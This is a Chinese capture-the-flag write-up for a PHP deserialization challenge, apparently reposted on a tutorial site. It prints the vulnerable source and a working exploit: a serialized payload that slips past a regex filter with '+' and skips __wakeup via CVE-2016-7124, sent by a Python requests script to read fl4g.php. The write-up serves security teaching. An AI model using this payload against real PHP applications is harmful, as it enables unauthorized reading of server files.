2022.3.21攻防世界反序列化ctf

2022/3/21 6:28:05

本文主要是介绍2022.3.21攻防世界反序列化ctf,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

题目给了源码,我们先进行代码审计

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

知识点:
1.php中带有双下划线'__'的是魔术方法,会在满足条件的时候自动调用。
观察Demo类,我们发现了3个魔术方法:

①.__contruct :类被创建的时候自动调用,用得到的函数赋值给$file

②.__destruct :销毁时调用这里会显示文件的代码

③.__wakeup :当有反序列化的时候就会被调用,把$file重置为index.php

题目过程:
接受var变量并base64解码,匹配''/[oc]:\d+:/i''(首字母为o或c,冒号,一个或多个数字,冒号,忽略大小写),成功提示stop hacking,失败反序列化var变量(程序结束会销毁新建的Demo对象,触发__destruct())。

使用+可以绕过preg_match(),绕过__wakeup()是利用CVE-2016-7124,例如O:4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}(正常是O:4:"Demo":1:...),反序列化化时不会触发__wakeup()。

最后一个问题是使用hackbar或者浏览器直接var?=...的话\0会被认为是两个字符,需要使用python提交

import base64
import requests

s = base64.b64encode(b'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}')
url = 'http://111.198.29.45:43225/'
params = {'var':s}
r = requests.get(url,params=params)
print(r.text)


这篇关于2022.3.21攻防世界反序列化ctf的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程